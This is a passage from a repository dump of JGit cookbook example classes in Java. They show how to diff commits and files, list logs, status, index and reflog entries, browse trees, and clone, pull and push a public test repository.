git.diff().setOldTree(oldTreeParser).setNewTree(newTreeParser).call();\n                for (DiffEntry entry : diff) {\n                    System.out.println(\"Entry: \" + entry);\n                }\n            }\n        }\n    }\n\n    private static AbstractTreeIterator prepareTreeParser(Repository repository, String ref) throws IOException {\n        // from the commit we can build the tree which allows us to construct the TreeParser\n        Ref head = repository.exactRef(ref);\n        try (RevWalk walk = new RevWalk(repository)) {\n            RevCommit commit = walk.parseCommit(head.getObjectId());\n            RevTree tree = walk.parseTree(commit.getTree().getId());\n\n            CanonicalTreeParser treeParser = new CanonicalTreeParser();\n            try (ObjectReader reader = repository.newObjectReader()) {\n                treeParser.reset(reader, tree.getId());\n            }\n\n            walk.dispose();\n\n            return treeParser;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ShowChangedFilesBetweenCommits.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.diff.DiffEntry;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.ObjectReader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.treewalk.CanonicalTreeParser;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Snippet which shows how to show diffs between two commits.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ShowChangedFilesBetweenCommits {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // The {tree} will return the underlying tree-id instead of the commit-id itself!\n            // For a description of what the carets do see e.g. http://www.paulboxley.com/blog/2011/06/git-caret-and-tilde\n            // This means we are selecting the parent of the parent of the parent of the parent of current HEAD and\n            // take the tree-ish of it\n            ObjectId oldHead = repository.resolve(\"HEAD^^^^{tree}\");\n            ObjectId head = repository.resolve(\"HEAD^{tree}\");\n\n            System.out.println(\"Printing diff between tree: \" + oldHead + \" and \" + head);\n\n            // prepare the two iterators to compute the diff between\n    \t\ttry (ObjectReader reader = repository.newObjectReader()) {\n        \t\tCanonicalTreeParser oldTreeIter = new CanonicalTreeParser();\n        \t\toldTreeIter.reset(reader, oldHead);\n        \t\tCanonicalTreeParser newTreeIter = new CanonicalTreeParser();\n        \t\tnewTreeIter.reset(reader, head);\n\n        \t\t// finally get the list of changed files\n        \t\ttry (Git git = new Git(repository)) {\n                    List<DiffEntry> diffs= git.diff()\n            \t\t                    .setNewTree(newTreeIter)\n            \t\t                    .setOldTree(oldTreeIter)\n            \t\t                    .call();\n                    for (DiffEntry entry : diffs) {\n                        System.out.println(\"old: \" + entry.getOldPath() +\n                                \", new: \" + entry.getNewPath() +\n                                \", entry: \" + entry);\n                    }\n        \t\t}\n    \t\t}\n        }\n\n        System.out.println(\"Done\");\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ShowFileDiff.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.diff.DiffEntry;\nimport org.eclipse.jgit.diff.DiffFormatter;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.ObjectReader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.AbstractTreeIterator;\nimport org.eclipse.jgit.treewalk.CanonicalTreeParser;\nimport org.eclipse.jgit.treewalk.filter.PathFilter;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n/**\n * Simple snippet which shows how to show diffs between branches\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ShowFileDiff {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // the diff works on TreeIterators, we prepare two for the two branches\n            AbstractTreeIterator oldTreeParser = prepareTreeParser(repository, \"b97b184b0ce11c0b6a4dcc2b57768ff155cb696b\");\n            AbstractTreeIterator newTreeParser = prepareTreeParser(repository, \"9e0719d7d773b41b49ebf04e6fd7b5c637e96063\");\n\n            // then the porcelain diff-command returns a list of diff entries\n            try (Git git = new Git(repository)) {\n                List<DiffEntry> diff = git.diff().\n                        setOldTree(oldTreeParser).\n                        setNewTree(newTreeParser).\n                        setPathFilter(PathFilter.create(\"README.md\")).\n                        // to filter on Suffix use the following instead\n                        //setPathFilter(PathSuffixFilter.create(\".java\")).\n                        call();\n                for (DiffEntry entry : diff) {\n                    System.out.println(\"Entry: \" + entry + \", from: \" + entry.getOldId() + \", to: \" + entry.getNewId());\n                    try (DiffFormatter formatter = new DiffFormatter(System.out)) {\n                        formatter.setRepository(repository);\n                        formatter.format(entry);\n                    }\n                }\n            }\n        }\n    }\n\n    private static AbstractTreeIterator prepareTreeParser(Repository repository, String objectId) throws IOException {\n        // from the commit we can build the tree which allows us to construct the TreeParser\n        //noinspection Duplicates\n        try (RevWalk walk = new RevWalk(repository)) {\n            RevCommit commit = walk.parseCommit(ObjectId.fromString(objectId));\n            RevTree tree = walk.parseTree(commit.getTree().getId());\n\n            CanonicalTreeParser treeParser = new CanonicalTreeParser();\n            try (ObjectReader reader = repository.newObjectReader()) {\n                treeParser.reset(reader, tree.getId());\n            }\n\n            walk.dispose();\n\n            return treeParser;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ShowLog.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.time.Instant;\nimport java.time.ZoneId;\nimport java.time.ZonedDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.Arrays;\nimport java.util.stream.Collectors;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to get the commit-ids for a file to provide log information.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ShowLog {\n\n    @SuppressWarnings(\"unused\")\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                Iterable<RevCommit> logs = git.log()\n                        .call();\n                int count = 0;\n                for (RevCommit rev : logs) {\n                    //System.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n                    count++;\n                }\n                System.out.println(\"Had \" + count + \" commits overall on current branch\");\n\n                logs = git.log()\n                        .add(repository.resolve(\"remotes/origin/testbranch\"))\n                        .call();\n                count = 0;\n                for (RevCommit rev : logs) {\n                    System.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n                    count++;\n                }\n                System.out.println(\"Had \" + count + \" commits overall on test-branch\");\n\n                logs = git.log()\n                        .not(repository.resolve(\"master\"))\n                        .add(repository.resolve(\"remotes/origin/testbranch\"))\n                        .call();\n                count = 0;\n                for (RevCommit rev : logs) {\n                    System.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n                    count++;\n                }\n                System.out.println(\"Had \" + count + \" commits only on test-branch\");\n\n                logs = git.log()\n                        .all()\n                        .call();\n                count = 0;\n                for (RevCommit rev : logs) {\n                    //System.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n                    count++;\n                }\n                System.out.println(\"Had \" + count + \" commits overall in repository\");\n\n                logs = git.log()\n                        // for all log.all()\n                        .addPath(\"README.md\")\n                        .call();\n                count = 0;\n                for (RevCommit rev : logs) {\n                    //System.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n                    count++;\n                }\n                System.out.println(\"Had \" + count + \" commits on README.md\");\n\n                logs = git.log()\n                        // for all log.all()\n                        .addPath(\"pom.xml\")\n                        .call();\n                count = 0;\n                for (RevCommit rev : logs) {\n                    //System.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n                    count++;\n                }\n                System.out.println(\"Had \" + count + \" commits on pom.xml\");\n\n                // then produce a \"classic\" Git commit log\n                // see also https://stackoverflow.com/a/69138290/411846\n                System.out.println();\n                logs = git.log()\n                        .add(repository.resolve(\"remotes/origin/testbranch\"))\n                        .call();\n                for (RevCommit rev : logs) {\n                    System.out.println(getConventionalCommitMessage(rev));\n                }\n            }\n        }\n    }\n\n    private static String getConventionalCommitMessage(RevCommit commit) {\n        StringBuilder stringBuilder = new StringBuilder();\n\n        // Prepare the pieces\n        final String justTheAuthorNoTime = commit.getAuthorIdent().toExternalString().split(\">\")[0] + \">\";\n        final Instant commitInstant = Instant.ofEpochSecond(commit.getCommitTime());\n        final ZoneId zoneId = commit.getAuthorIdent().getTimeZone().toZoneId();\n        final ZonedDateTime authorDateTime = ZonedDateTime.ofInstant(commitInstant, zoneId);\n        final String gitDateTimeFormatString = \"EEE MMM dd HH:mm:ss yyyy Z\";\n        final String formattedDate = authorDateTime.format(DateTimeFormatter.ofPattern(gitDateTimeFormatString));\n        final String tabbedCommitMessage =\n                Arrays.stream(commit.getFullMessage()\n                        .split(\"\\\\r?\\\\n\")) // split it up by line\n                        .map(s -> \"\\t\" + s + \"\\n\") // add a tab on each line\n                        .collect(Collectors.joining()); // put it back together\n\n        // Put pieces together\n        stringBuilder\n                .append(\"commit \").append(commit.getName()).append(\"\\n\")\n                .append(\"Author:\\t\").append(justTheAuthorNoTime).append(\"\\n\")\n                .append(\"Date:\\t\").append(formattedDate).append(\"\\n\\n\")\n                .append(tabbedCommitMessage);\n\n        return stringBuilder.toString();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ShowStatus.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.Status;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which prints the Status of a git repository, i.e. modified/added/\n * removed/ignored files, similar to \"git status\"\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ShowStatus {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                Status status = git.status().call();\n                System.out.println(\"Added: \" + status.getAdded());\n                System.out.println(\"Changed: \" + status.getChanged());\n                System.out.println(\"Conflicting: \" + status.getConflicting());\n                System.out.println(\"ConflictingStageState: \" + status.getConflictingStageState());\n                System.out.println(\"IgnoredNotInIndex: \" + status.getIgnoredNotInIndex());\n                System.out.println(\"Missing: \" + status.getMissing());\n                System.out.println(\"Modified: \" + status.getModified());\n                System.out.println(\"Removed: \" + status.getRemoved());\n                System.out.println(\"Untracked: \" + status.getUntracked());\n                System.out.println(\"UntrackedFolders: \" + status.getUntrackedFolders());\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/WalkAllCommits.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n/**\n * Simple snippet which shows how to use RevWalk to quickly iterate over all available commits,\n * not just the ones on the current branch\n */\npublic class WalkAllCommits {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                // use the following instead to list commits on a specific branch\n                //ObjectId branchId = repository.resolve(\"HEAD\");\n                //Iterable<RevCommit> commits = git.log().add(branchId).call();\n\n                Iterable<RevCommit> commits = git.log().all().call();\n                int count = 0;\n                for (RevCommit commit : commits) {\n                    System.out.println(\"LogCommit: \" + commit);\n                    count++;\n                }\n                System.out.println(count);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/BrowseTree.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.Constants;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.TreeWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Simple snippet which shows how to use RevWalk to iterate over items in a file-tree\n *\n * @author dominik.stadler at gmx.at\n */\npublic class BrowseTree {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            ObjectId revId = repository.resolve(Constants.HEAD);\n            try (TreeWalk treeWalk = new TreeWalk(repository)) {\n                try (RevWalk revWalk = new RevWalk(repository)) {\n                    treeWalk.addTree(revWalk.parseTree(revId));\n\n                    while (treeWalk.next())\n                    {\n                        System.out.println(\"---------------------------\");\n                        System.out.append(\"name: \").println(treeWalk.getNameString());\n                        System.out.append(\"path: \").println(treeWalk.getPathString());\n\n                        ObjectLoader loader = repository.open(treeWalk.getObjectId(0));\n\n                        System.out.append(\"directory: \").println(loader.getType()\n                                == Constants.OBJ_TREE);\n                        System.out.append(\"size: \").println(loader.getSize());\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/ListChildrenOfCommit.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revplot.PlotCommitList;\nimport org.eclipse.jgit.revplot.PlotLane;\nimport org.eclipse.jgit.revplot.PlotWalk;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Note: This snippet is not done and likely does not show anything useful yet\n *\n * Snippet which shows how to use PlotWalk to read from a specific commit.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListChildrenOfCommit {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (PlotWalk revWalk = new PlotWalk(repository)) {\n                ObjectId rootId = repository.resolve(\"refs/heads/master\");\n                RevCommit root = revWalk.parseCommit(rootId);\n                revWalk.markStart(root);\n                PlotCommitList<PlotLane> plotCommitList = new PlotCommitList<>();\n                plotCommitList.source(revWalk);\n                plotCommitList.fillTo(Integer.MAX_VALUE);\n\n                System.out.println(\"Printing children of commit \" + root);\n                for (RevCommit com : revWalk) {\n                    System.out.println(\"Child: \" + com);\n                }\n\n                System.out.println(\"Printing with next()\");\n                System.out.println(\"next: \" + revWalk.next());\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/ListIndex.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.dircache.DirCache;\nimport org.eclipse.jgit.dircache.DirCacheEntry;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Snippet which shows how to work with the Index\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListIndex {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // DirCache contains all files of the repository\n            DirCache index = DirCache.read(repository);\n            System.out.println(\"DirCache has \" + index.getEntryCount() + \" items\");\n            for (int i = 0; i < index.getEntryCount(); i++) {\n                // the number after the AnyObjectId is the \"stage\", see the constants in DirCacheEntry\n                System.out.println(\"Item \" + i + \": \" + index.getEntry(i));\n            }\n\n            //\n            System.out.println(\"Now printing staged items...\");\n            for (int i = 0; i < index.getEntryCount(); i++) {\n                DirCacheEntry entry = index.getEntry(i);\n                if (entry.getStage() != DirCacheEntry.STAGE_0) {\n                    System.out.println(\"Item \" + i + \": \" + entry);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/ListRefLog.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.ReflogEntry;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\nimport java.util.Collection;\nimport java.util.List;\n\n\n\n/**\n * Note: This snippet is not done and likely does not show anything useful yet\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListRefLog {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                List<Ref> refs = git.branchList().call();\n                for (Ref ref : refs) {\n                    System.out.println(\"Branch: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n\n                    listReflog(repository, ref);\n                }\n\n                List<Ref> call = git.tagList().call();\n                for (Ref ref : call) {\n                    System.out.println(\"Tag: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n\n                    listReflog(repository, ref);\n                }\n            }\n        }\n    }\n\n    private static void listReflog(Repository repository, Ref ref) throws GitAPIException {\n        /*\n         * Ref head = repository.getRef(ref.getName());\n         * RevWalk walk = new RevWalk(repository);\n         * RevCommit commit = walk.parseCommit(head.getObjectId());\n         */\n\n        try (Git git = new Git(repository)) {\n            Collection<ReflogEntry> call = git.reflog().setRef(ref.getName()).call();\n            for (ReflogEntry reflog : call) {\n                System.out.println(\"Reflog: \" + reflog);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/PullFromRemoteRepository.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\n\nimport java.io.File;\nimport java.io.IOException;\n\n\n\n/**\n * Note: This snippet is not done and likely does not show anything useful yet\n *\n * @author dominik.stadler at gmx.at\n */\npublic class PullFromRemoteRepository {\n\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // prepare a new folder for the cloned repository\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // then clone\n        System.out.println(\"Cloning from \" + REMOTE_URL + \" to \" + localPath);\n        try (Git result = Git.cloneRepository()\n                .setURI(REMOTE_URL)\n                .setDirectory(localPath)\n                .call()) {\n\t        // Note: the call() returns an opened repository already which needs to be closed to avoid file handle leaks!\n\t        System.out.println(\"Having repository: \" + result.getRepository().getDirectory());\n\t        try (Git git = new Git(result.getRepository())) {\n                git.pull()\n                .call();\n\t        }\n\n\t        System.out.println(\"Pulled from remote repository to local repository at \" + result.getRepository().getDirectory());\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/PullRemoteRepository.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.PullResult;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Constants;\nimport org.eclipse.jgit.lib.Repository;\n\nimport java.io.File;\nimport java.io.IOException;\n\n\n\n/**\n * Note: This snippet is not done and likely does not show anything useful yet\n *\n * Simple snippet which shows how to pull from a remote repository from a remote source\n *\n * @author dominik.stadler at gmx.at\n */\npublic class PullRemoteRepository {\n\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File localPath;\n        try (Repository repository = cloneRepository()) {\n            localPath = repository.getWorkTree();\n\n            System.out.println(\"Having repository: \" + repository.getDirectory() + \" with head: \" +\n                    repository.findRef(Constants.HEAD) + \"/\" + repository.resolve(\"HEAD\") + \"/\" +\n                    repository.resolve(\"refs/heads/master\"));\n\n            // TODO: why do we get null here for HEAD?!? See also\n    // http://stackoverflow.com/questions/17979660/jgit-pull-noheadexception\n\n            try (Git git = new Git(repository)) {\n                PullResult call = git.pull().call();\n\n                System.out.println(\"Pulled from the remote repository: \" + call);\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n\n    private static Repository cloneRepository() throws IOException, GitAPIException {\n        // prepare a new folder for the cloned repository\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // then clone\n        System.out.println(\"Cloning from \" + REMOTE_URL + \" to \" + localPath);\n        try (Git result = Git.cloneRepository()\n                .setURI(REMOTE_URL)\n                .setDirectory(localPath)\n                .call()) {\n            // Note: the call() returns an opened repository already which needs to be closed to avoid file handle leaks!\n            return result.getRepository();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/PushToRemoteRepository.java",
    "content": "package com.jun.plugin.jgit.unfinished;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.storage.file.FileRepositoryBuilder;\n\nimport java.io.File;\nimport java.io.IOException;\n\n\n\n/**\n * Note: This snippet is not done and likely does not show anything useful yet\n *\n * @author dominik.stadler at gmx.at\n */\npublic class PushToRemoteRepository {\n\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // prepare a new folder for the cloned repository\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // then clone\n        System.out.println(\"Cloning from \" + REMOTE_URL + \" to \" + localPath);\n        try (Git result = Git.cloneRepository()\n                .setURI(REMOTE_URL)\n                .setDirectory(localPath)\n                .call()) {\n            // prepare a second folder for the 2nd clone\n            File localPath2 = File.createTempFile(\"TestGitRepository\", \"\");\n            if(!localPath2.delete()) {\n                throw new IOException(\"Could not delete temporary file \" + localPath2);\n            }\n\n            // then clone again\n            System.out.println(\"Cloning from file://\" + localPath + \" to \" + localPath2);\n            try (Git result2 = Git.cloneRepository()\n                    .setURI(\"file://\" + localPath)\n                    .setDirectory(localPath2)\n                    .call()) {\n                System.out.println(\"Result: \" + result2);\n\n                // now open the created repository\n                FileRepositoryBuilder builder = new FileRepositoryBuilder();\n                try (Repository repository = builder.setGitDir(localPath2)\n                        .readEnvironment() // scan environment GIT_* variables\n                        .findGitDir() // scan up the file system tree\n                        .build()) {\n                    try (Git git = new Git(repository)) {\n                        git.push()\n                                .call();\n                    }\n\n                    System.out.println(\"Pushed from repository: \" + repository.getDirectory() + \" to remote repository at \" + REMOTE_URL);\n                }\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/unfinished/TestSubmodules.java",
